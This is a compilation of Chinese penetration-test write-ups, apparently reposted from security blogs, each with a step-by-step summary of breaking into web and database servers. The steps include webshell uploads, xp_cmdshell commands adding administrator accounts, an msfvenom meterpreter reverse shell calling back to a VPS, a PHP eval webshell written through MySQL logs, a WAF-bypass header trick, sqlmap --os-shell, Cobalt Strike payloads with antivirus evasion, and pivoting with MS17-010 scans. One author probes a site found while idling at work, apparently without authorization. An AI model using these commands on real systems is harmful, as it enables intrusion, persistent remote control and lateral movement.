问题2.在203的Webshell连接206数据库服务器,通过xp_cmdshell查看进程中有Symantec防御软件,但为何进入206服务器后在任务管理器中只有系统默认运行进程,没有Symantec进程? 回答2:因为在任务管理器中没有点击查看所有进程,^ 0x08 总结1.通过对目标系统进行信息收集,发现目标站点是asp.net以及iis6.0,windows2003服务器2.目标网站又存在fckeditor编辑器,通过编辑器的上传功能可直接上传aspx大马。3.通过ASPX大马的命令执行功能,探测目标系统信息,目标系统开放了80,445,1521,3389端口,以及补丁情况,c,d盘可读写权限。以及查看IP地址为192.168.0.203,DNS为192.168.3.14.通过net view /domain查看域情况5.通过aspx大马发现网站的web.config配置文件中,包含了MSSQL数据库的连接地址以及数据库、用户名和密码6.利用aspx 大马的数据库管理功能直接连接数据库(192.168.0.206),站库分离,通过xp_cmdshell_exec存储过程系统用户名和密码,以及查看端口开放情况3389已开放。exec xp_cmdshell 'net user test Test6530 /add'exec xp_cmdshell 'net localgroup administrators test /add'netstat -ano | find "3389"7.在公网上通过msf生成aspx后门,并通过大马将生成的shell.aspx上传到目标站点上,并访问shell.aspx。msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=公网VPS LPORT=12345 -f aspx > shell.aspx8.通过MSF进行监听msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 公网VPSmsf exploit(handler) > set LPORT 12345msf exploit(handler) > exploit9.通过portfwd命令将内网中数据库服务器192.168.0.206的3389端口给转发出来, 并使用redesktop 命令远程桌面数据库服务器meterpreter > portfwd add -l 1234 -p 3389 -r 192.168.0.206redesktop 127.0.0.1 123410.在MSF下使用Socks4a代理连接内网中的3389,在开启Socks4a代理前必须先得到一个Meterpreter会话。meterpreter > backgroundmsf auxiliary(socks4a) > use auxiliary/server/socks4amsf auxiliary(socks4a) > set SRVHOST 127.0.0.1msf auxiliary(socks4a) > run11.配置proxychains代理工具时需要在/etc/proxychains.conf文件底部添加一条"socks4 127.0.0.1 1080",必须确保与socks4a模块中的SRVHOST、SRVPORT参数是一致的。root@box3:~# vi /etc/proxychains.conf12.开启Socks4a代理并配置好proxychains代理工具,这时我们就可以在命令终端中直接用proxychains代理msf/nmap/sqlmap/nessus/mysql/sqsh/rdesktop/ftp/ssh等对目标内网其他主机进行扫描测试root@box3:~# proxychains msfconsole root@box3:~# proxychains rdesktop 192.168.0.20613.获取C段开放端口及系统版本meterpreter > run get_local_subnetsLocal subnet: 192.168.0.0/255.255.255.0meterpreter > run autoroute -s 192.168.0.0/255.255.255.0 //添加一条通向目标服务器内网的路由msf exploit(handler) > route add 192.168.0.0 255.255.255.0 1 // 添加一条动态路由,1是sessions的会话idmeterpreter > run autoroute -p //查看路由设置msf exploit(handler) > route print //查看路由表14.使用MSF下的auxiliary/scanner/portscan/tcp模块对目标内网C段进行批量端口扫描msf exploit(handler) > use auxiliary/scanner/portscan/tcpmsf auxiliary(tcp) > set RHOSTS 192.168.0.1-254msf auxiliary(tcp) > set PORTS 21,22,445,1433,3306,3389msf auxiliary(tcp) > set THREADS 50msf auxiliary(tcp) > exploit 原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247494146&idx=1&sn=e0a9f3cce8ddf5613e90edb3fa6049bc&chksm=cfa54e11f8d2c707a77c7c6c21a7e6e5c56040991c792747889eed3ca771a70400d9745aa5d5&scene=178&cur_album_id=1553386251775492098#rd
  23. 前言前不久的一次授权测试中,感觉缺少任何一步都无法达到getshell的目的,单个漏洞看得话确实平平无奇,但是如果组合起来的话也许会有意想不到的化学效应。 前期测试拿到这个站的时候一眼就看见了会员登录界面,一开始想着注册,但是觉得会员功能应该很少,没验证码啥的,万一后台管理员也是会员呢那岂不是要是爆破出来了可以去后台尝试一波。 显示的是手机号登录,但是可以尝试下admin,千万不要被他的前台迷惑了。很巧的是可以进行用户名枚举,而且还存在admin账号,不爆破都对不起他 字典呢用的是鸭王的字典,爆破神器,用这个字典爆破出来过不少站点(https://github.com/TheKingOfDuck/fuzzDicts), 这次也很幸运,爆破出来了 拿到后台去登录下,管理员确实喜欢采用同样的密码,登录进去了。看到后台可以自定义上传的后缀心里想可以愉快的交差了,增加后缀php,找上传一条龙getshell。 当我看到上传图片的编辑器的时候我感觉事情并不是那么简单,果不其然那个增加后缀不起作用 后台发现是thinkcmf建站系统,网上搜索能利用的漏洞,看到一个漏洞集合(https://www.hacking8.com/bug-web/ThinkCMS/ThinkCMF%E6%BC%8F%E6%B4%9E%E5%85%A8%E9%9B%86%E5%92%8C.html) 挨个去尝试下无果,继续搜索(https://www.freebuf.com/vuls/217586.html), 基本上能尝试的都payload都试了试,应该是版本高漏洞修复了或者利用方式不太对,反正是没利用成功。有的方法对网站有破坏性,我要是试了不得被打死呀。既然到现在无法getshell,那就尝试找找漏洞吧,领导说的好如果无法getshell就多找漏洞,听领导的总没有错。 进阶阶段在一开始打开网站的时候,由于安装了谷歌插件sensinfor(t00ls上发现的),可以初步探测网站的敏感目录,比如备份文件,phpmyadmin,phpinfo等等,在一开始就探测出存在phpinfo,获取了网站的绝对路径 常规用nmap探测下开放的端口,发现对外开放了3306端口,有绝对路径了,不抱希望的去爆破下3306吧,反正我是没爆破出几个3306的密码,用下超级弱口令检查工具,字典接着用鸭王的吧,谁知道是字典强大还是运气爆破,话说这个不算弱口令,只能说字典里有这个密码吧,只要字典存在的就是弱密码,没有错。 接下来就是常规操作了,试下log写日志吧 show variables like '%general%'; 查看日志状态 SET GLOBAL general_log='on' 开启日志读写 SET GLOBAL general_log_file='xxx.php' 指定日志路径 SELECT '<?php eval($_POST["cmd"]);?>' 写日志进xxx.php 其他漏洞基于负责任的态度也发现了 一些其他的漏洞,不过相对来说危害性不大吧,但是如果在写测试报告的时候如果没得写也是可以写上的。 登录IP伪造 这个后台一般都有记录用户登录IP的习惯,但是如果记录IP的时候选取的是x-forward-for构造的IP,这样攻击者是可以伪造登录IP的,如果没有对IP的合法性进行校验,构造一个XSS payload触发存储型XSS这也不是没可能,在测试的时候就遇到过几次,后台记录会员登录IP的地方存在存储型XSS 不过这里美中不足的是后台对IP的合法性进行了校验,如果是不合法的IP会被重置为0.0.0.0 越权漏洞 登录后发现管理员没办法对自己进行操作,这很尴尬,管理员都没办法更改自己的信息 很简单的办法随便找个可以进行更改的链接,更改url实现修改管理员信息,按照经验这种限制管理员更改自己信息的情况我遇到的很多都是前端限制了。 然后会弹出详情页面,可以进行修改操作,这里修改下会员等级把自己从普通会员变成VIP吧,一个管理员怎么能是普通会员呢 总结 1.对目标站点管理员后台输入admin账号,密码任意,显示密码错误,则admin 账号存在2.通过 bp的intruder功能对admin账号进行爆破,密码字典选用fuzzDicts字典(https://github.com/TheKingOfDuck/fuzzDicts),可成功爆破。3.进入后台后,在图片上传存在文件上传,但是上传处目标站点已进行白名单限制,不能上传一句话。4.通过云蟋对目标站点进行cms指纹探测,发现是thinkcm系统,测试几个历史漏洞,但无果。16.通过谷歌浏览器插件sensinfor进行信息探测,发现存在phpinfo.php,这里显示了网站的绝对路径17.通过namp对目标站点的IP进行扫描,发现存在3306端口18.通过超级弱口令工具对目标站点的3306端口进行爆破,最终成功爆破密码。19.通过navicat远程连接目标站点mysql,在SQL命令终端处,通过log日志记录写入一句话show variables like '%general%'; 查看日志状态SET GLOBAL general_log='on' 开启日志读写SET GLOBAL general_log_file='xxx.php' 指定日志路径SELECT '<?php eval($_POST["cmd"]);?>' 写日志进xxx.php20.最后通过蚁剑成功连接一句话 来源: https://xz.aliyun.com/t/10460
  24. 0x00 前言上面给了个任务,一看,地图系统,懵逼了,这种的系统一般就是调个百度地图的api,无交互,想要挖洞简直难上加难... 一波信息收集后,发现该主站一个功能可以跳转到该单位的微信公众号,且存在上传点,因此有了本文。 0x01 FUZZ有了上传点,废话不多说先看看后缀能不能过 先传一个图片,更改后缀尝试上传 直接没了,难道是白名单吗,尝试随意后缀上传 发现可以上传,可能是存在waf? 直接传内容为一句话,看看会不会被拦截 结果没被拦截,应该是代码对后缀做了一些操作, 接下来就是一顿fuzz,搞了半天发现后缀名这边是过不去了,换行大法直接报错 拿出之前过安全狗的方法试了一下,溢出Content-Disposition:字段, 竟然就这么成功了... 0x02 又一个问题现在传是传上去了,但是没有返回完整路径,也不知道传哪儿去了,这咋整 扫当前目录啥也没扫到 然后扫了波一级目录,发现存在upload目录, 尝试拼接,成功getshell 0x03 总结1.通过目标站点的公众号处存在一处附件上传,那么可能存在任意文件上传漏洞2.通过bp的intruder功能对后缀名进行批量fuzz,发现都被拦截,这里又测试上传test.aaa,内容为this is a test,发现可以上传,那么猜测目标站点存在WAF,拦截了后缀名3.接着测试上传的内容为一句话木马,可成功上传,并没有对内容进行拦截3.通过Content-Disposition:拦截字段填充可绕过waf成功上传,并返回上传的文件名,但是并不知道上传的路径如:Content-Disposition:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(大概超过128个字符);name="file" ;filename="www.aspx"4.通过目录扫描工具对目标站点进行扫描,发现在upload目录时状态为http200,尝试拼凑链接访问,可成功链接。5.最后通过冰蝎成功链接一句话来源: https://xz.aliyun.com/t/10366
  25. 0X01 找到注入点故事的起因还是因为我太闲了,上班摸鱼。 摸着摸着就摸到了某个网站的查询框。 接着老毛病就犯了,上去就输入了个1查询 接着输入了1’ 啧啧啧,这明显有SQL注入哇。 果断掏出SQLMAP神器。 结局很完美,不仅存在注入,还是DBA的权限。 0X02 网站get shell利用SQL注入去get shell有几种常见的方法,一种是跑数据,跑目录找到网站的管理后台,进入到后台想办法通过文件上传的等方法去拿shell;要么就通过报错,phpinfo界面,404界面等一些方式知道网站绝对路径,然后去写入shell,不过相对于mysql来说条件还是有些苛刻的。 接着就是掏出御剑开始扫网站目录,目录还挺多。 随意点开了个admin 我去,竟然存在目录遍历。 接着又点开了00/ 一口老血喷出,这,还没开始就结束了??? 绝对路径不请自来,竟然还是最常见的路径,早知道直接--os-shell跑常见路径了-- 含泪拿着绝对路径,直接SQLMAP中--os-shell 这里有个点要了解一下,sqlmap中mysql数据库--os-shell的时候,sqlmap先写入一个文件上传shell tmpxxxx.php,再通过文件上传shell上传命令执行shell tmpxxxx.php,再利用命令执行shell执行命令。 具体可以去雨九九大佬博客学习一波。 https://www.cnblogs.com/Rain99-/p/13755496.html 所以这里我就直接用sqlmap文件上传的shell去上传我的shell了 这里还出现了一个问题,不可以使用assert函数的一句话木马 最终换了一个木马成功拿下shell 由于先前拿shell过程太过顺利,所以目录遍历也没有仔细看,但是在写本文的时候,仔细看了下目录遍历的文件,成功找到了一个未授权的上传点,也就是说,也可以通过未授权上传+目录遍历找到文件上传的文件夹去拿shell。 0X03 初步信息搜集既然拿到了shell,那么第一步肯定是信息搜集了。 从上面可以得知,当前用户为system,server2012的服务器,有内网环境,安装了杀软ESET NOD32。 接下来看下内网的存活机器。 探测内网存活机器的方法很多,Nbtscan,icmp 协议,arp-scan,scanline等等都可以,这里为了方便操作,直接上线到CS上再进行操作。 免杀shellcode完美上线 这里我用的K8gege的 Ladon插件进行扫描内网得,主要扫描出来的结果格式比较好看。 以下是扫描的部分结果 可以看出内网是存在大量存活的主机的,虽然这台WEB服务器并没有域环境,但是扫描的结果中有着AD等敏感词汇,初步估计内网至少有两个域环境,这时候就需要横向进一步做信息搜集,并刻画出内网拓扑图。 0X04 横向渗透&进一步信息搜集 内网第一波那必须的是MS17-010了,这里我同样用K8gege的Ladon。 可以看出内网确实有几台机器可能存在MS17-010,这里一台一台打太浪费时间了,主要有不确定性,他的WEB服务器是装了杀软的,内网也应该是有杀软的,所以这里我将目标放在一台可能是域内主机的服务器上。 接着就是cs开启socks代理,准备代理MSF开怼。 本地KALI虚拟机挂代理也很简单,先 sudo vim /etc/proxychains.conf 在最下面插入一行CS的ip和刚刚开的端口 保存后再proxychains msfconsole 启动MSF就可以了 接着EXP打目标机器时出了点问题,应该是机器上有杀软拦截了交互执行。所以找了个每次只能加载一条命令的EXP添加了一个用户上去。 由于上一次看这个站在一个月之前,写本文的时候复现17010没有成功,因为先前在目标机器添加了个账号,所以就登上去看了下,发现服务器已经被某位不知名的大黑阔给上了勒索软件。 所以接下来的复现过程就没有继续,后面也没有继续看这个内网了。 接下来域环境渗透大概的思路讲下吧: 先判断目标机器是否处于域环境,如果处于域环境, 首先上线CS提权读HASH,看看能不能读到域管账号,或者看看有没有域管进程,去进程注入,然后通过HASH传递去拿下域控,然后导出域内所有HASH。 如果上面方法不行的话,MS14-068、MS14-025、CVE-2020-1472这些常见域内提权方式也可以尝试一下。 如果还不行,扫描域内的WEB或者常见设备,从设备漏洞或者WEB漏洞入手获取权限,再一步一步往域控机器上打。 但是要注意一点,整个内网渗透的过程中,一定要明确目标,否则会浪费很多时间,同时思路要灵活多变,不要死磕一个点。 0x03 总结1.在目标站点查询处输入1',显示sql错误,则可能存在sql注入2.通过bp对查询处抓包保存为data.txt,并通过sqlmap -r data.txt进行注入,可发现存在注入漏洞,数据库权限为dba。3.通过御剑目录扫描工具对目标站点进行目录扫描,发现admin目录状态为http 200。4.访问admin目录存在目录遍历,任意访问admin目录下的文件夹如00/报错,并报错显示网站物理路径。5.通过sqlmap的--os-shell参数进行写入一句话6.通过蚁剑链接一句话,查看目录的时候发现,在/js/jqery_file_upload/存在未授权的上传点,通过该上传点,可上传木马,并通过目录遍历找到上传的文件路径。7.通过蚁剑的虚拟命令终端查询ip地址,以及系统进程(是否有av)以及系统版本信息和补丁信息ipconfig--192.168.1.34(目标站点内网IP地址)tasklist/svc ----ekm.exe与eguiproxy.exe(est nod32杀软)systeminfo8.在VPS上运行cobalstrike,生成ps后门程序,并对后门进行免杀(这里建议用powershell进行免杀),将免杀的ps脚本通过蚁剑上传到目标站点服务器上,并执行,成功上线。9.在cs中上传ladon.exe,并是用ladon 192.168.1.0/24 OsScan 进行c段扫描系统版本扫描10.同时也利用ladon 192.168.1.0/24 ms17-010 进行c段扫描永恒之蓝漏洞,发现有多台主机存在11.在CS中开启socks4代理socks 223312.在本地KALI中使用下面配置文件添加sockes5代理vim /etc/proxychains.confsocks4 目标IP:223313.通过proxychains msfconsole 启动MSF,这里可以通过msf模块攻击ms17-010主机,由于WEB服务器上网装有NOD32,那么其他网段应该也有,如果去打ms17-010则会不成功。 来源: https://xz.aliyun.com/t/8586